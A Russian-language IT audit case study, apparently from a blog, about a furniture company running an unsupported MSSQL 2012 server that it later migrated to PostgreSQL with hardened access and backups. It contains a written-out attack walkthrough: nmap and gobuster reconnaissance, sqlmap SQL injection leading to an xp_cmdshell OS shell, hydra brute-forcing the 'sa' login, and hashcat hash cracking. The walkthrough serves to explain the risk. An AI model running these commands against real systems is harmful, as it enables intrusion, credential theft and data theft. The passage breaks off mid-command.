Новость о сокращении штата в одном из крупных российских разработчиков СУБД — хороший повод вернуться к истории, которая на первый взгляд выглядит чисто финансовой, а на деле оказывается классической историей про технический долг, который рано или поздно предъявляют к оплате — либо деньгами, либо простоем.
Счёт, который насторожил
Аудит производственной компании — мебель под заказ, около 60 сотрудников, собственная учётная система плюс веб-портал для клиентов, где можно отслеживать статус заказа. Первое, что бросилось в глаза в бухгалтерии — строка расходов «техподдержка БД», 900 000 ₽ в год, платится третий год подряд без вопросов.
При проверке выяснилось: подрядчик раз в квартал звонит и спрашивает «всё работает?». Реальных работ по патчингу, аудиту прав, обновлению версии — ноль. Формально услуга покупалась, фактически — нет.
Где была дыра
Вся учётная система и склад крутились на коммерческой реляционной СУБД зарубежного вендора, версия которой была официально снята с поддержки производителем ещё несколько лет назад. Обновлений безопасности для неё вендор больше не выпускает в принципе — не «купить платину», а физически негде взять патч.
При сканировании инфраструктуры картина была стандартная для такого возраста системы:
$ nmap -sV -p1-1000,1433,1521,3389 10.10.14.0/24
Nmap scan report for 10.10.14.22
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 7.5
443/tcp open ssl/http Microsoft IIS httpd 7.5
1433/tcp open ms-sql-s Microsoft SQL Server 2012 SP1 (build 11.0.3128)
3389/tcp open ms-wbt-server Microsoft Terminal Services
Версия СУБД собрана более десяти лет назад, для линейки таких билдов публично известны цепочки эксплуатации, включая CVE-2019-1068 (RCE через специально сформированный запрос к Analysis Services) и CVE-2020-0618 (RCE в Reporting Services). Патчей на эту инсталляцию не устанавливали — потому что «подрядчик поддерживает».
Отдельная проблема — лицензия. Купленная в своё время официально, после ухода вендора из России она «продлевалась» через третьи руки без прямого договора с производителем. Формально это серая закупка: при налоговой проверке, споре с контрагентом или запросе от партнёра по контракту такие вещи всплывают не вовремя и не в пользу компании.
Как это эксплуатируется
Показываю логику атаки — не потому что кто-то реально ломал этого клиента, а потому что именно эти шаги проделал бы любой мало-мальски опытный пентестер или злоумышленник, наткнувшись на такую инфраструктуру снаружи или из соседнего VLAN.
-
Разведка веб-портала. Клиентский портал отслеживания заказов часто пишется отдельной командой и без параметризованных запросов ходит в ту же базу, что и учётная система:
$ gobuster dir -u https://portal.example-mebel.local -w /usr/share/wordlists/dirb/common.txt -x php,asp,aspx /order.aspx (Status: 200) /orderstatus.aspx (Status: 200) /admin/ (Status: 401) -
Поиск SQL-инъекции в параметре, который принимает номер заказа:
$ sqlmap -u "https://portal.example-mebel.local/orderstatus.aspx?id=1024" \ --batch --dbms=mssql --level=3 --risk=2 [INFO] testing 'MySQL boolean-based blind - parameter replace' [INFO] testing 'Microsoft SQL Server/Sybase boolean-based blind - ORDER BY clause' [INFO] GET parameter 'id' is vulnerable back-end DBMS: Microsoft SQL Server 2012 -
Эскалация до командной строки сервера через xp_cmdshell — классика для не пропатченного и часто настроенного «для удобства» экземпляра MSSQL, где веб-пользователь БД получил лишние права (db_owner вместо изолированной учётки):
$ sqlmap -u "https://portal.example-mebel.local/orderstatus.aspx?id=1024" \ --os-shell --batch [INFO] the local file '...' does not exist os-shell> whoami NT SERVICE\MSSQLSERVER -
Параллельно — прямой брутфорс учётной записи sa, потому что порт 1433 нередко «на всякий случай» доступен и со стороны офисной сети, и по VPN подрядчика:
$ hydra -l sa -P /usr/share/wordlists/rockyou.txt \ -s 1433 mssql://10.10.14.22 [1433][mssql] host: 10.10.14.22 login: sa password: Mebel2015! -
Дамп базы и офлайн-подбор хэшей учётных записей ОС/домена, если через xp_cmdshell удалось выгрузить SAM или получить доступ к контроллеру домена по общей сети:
$ hashcat -m 1000 ntlm_hashes.txt rockyou.txt --force Session..........: hashcat Status...........: Cracked Recovered........: 7/12 (58.33%)
Что и почему сработало бы
Дальше — типовое развитие: имея db_owner в промышленной базе, злоумышленник получает полный доступ к остаткам склада, ценам, персональным данным клиентов, а через xp_cmdshell — плацдарм в локальной сети для дальнейшего движения на файловые сервера и контроллер домена. На устаревшей СУБД без сегментации сети это редко останавливается на уровне «просто украли данные» — куда чаще следующий шаг — шифровальщик, потому что сервер БД одновременно является точкой, критичной для работы всей компании: без неё склад не отгружает заказы, бухгалтерия не может выставить счета.
Именно поэтому в изначальном разговоре с собственником речь шла не про абстрактную «безопасность», а про конкретные деньги: простой 2-3 дня из-за недоступности базы — это минимум 1,5-2 млн ₽ потерь на одном крупном сорванном заказе, не считая репутационных издержек с постоянными клиентами B2B-сегмента.
Сколько терял бизнес
- 900 000 ₽/год за техподдержку, которая по факту сводилась к звонку раз в квартал
- риск простоя 2-3 дня при инциденте — специалистов по этой версии СУБД в стране почти не осталось, восстанавливать было бы некому и не с кем согласовывать
- юридическая уязвимость из-за серой схемы продления лицензии после ухода вендора
- полная зависимость от одного человека у подрядчика, который «знает, как это работает» — классический bus factor в ИТ-инфраструктуре
Как закрыли
Решение — миграция на отечественную СУБД на базе PostgreSQL, зрелую и полностью поддерживаемую российскими вендорами, которые сейчас плотно закрывают эту нишу. Технически перенос данных выполнялся поэтапно:
# выгрузка схемы и данных из исходной СУБД в промежуточный формат
$ pg_loader mssql://user:pass@10.10.14.22/orders postgresql://user:pass@newdb/orders
# первичная синхронизация и валидация количества строк по ключевым таблицам
$ psql -h newdb -U orders_admin -c "SELECT count(*) FROM orders;"
$ psql -h newdb -U orders_admin -c "SELECT count(*) FROM warehouse_stock;"
Параллельно закрыли периметр и переработали модель доступа к базе:
# закрыть внешний доступ к порту БД, оставить только whitelisted IP
$ ufw allow from 10.10.10.0/24 to any port 5432 proto tcp
$ ufw deny 5432
# отдельная учётная запись для веб-портала с минимальными правами вместо db_owner
CREATE ROLE portal_readonly LOGIN PASSWORD '...';
GRANT SELECT ON orders, order_status TO portal_readonly;
REVOKE ALL ON SCHEMA public FROM portal_readonly;
Настроили автоматическое резервное копирование с ежедневной проверкой целостности бэкапа и алертом собственнику в мессенджер, если задание не отработало:
# cron-задание с проверкой контрольной суммы бэкапа
0 2 * * * pg_dump -Fc orders > /backup/orders_$(date +\%F).dump \
&& pg_restore --list /backup/orders_$(date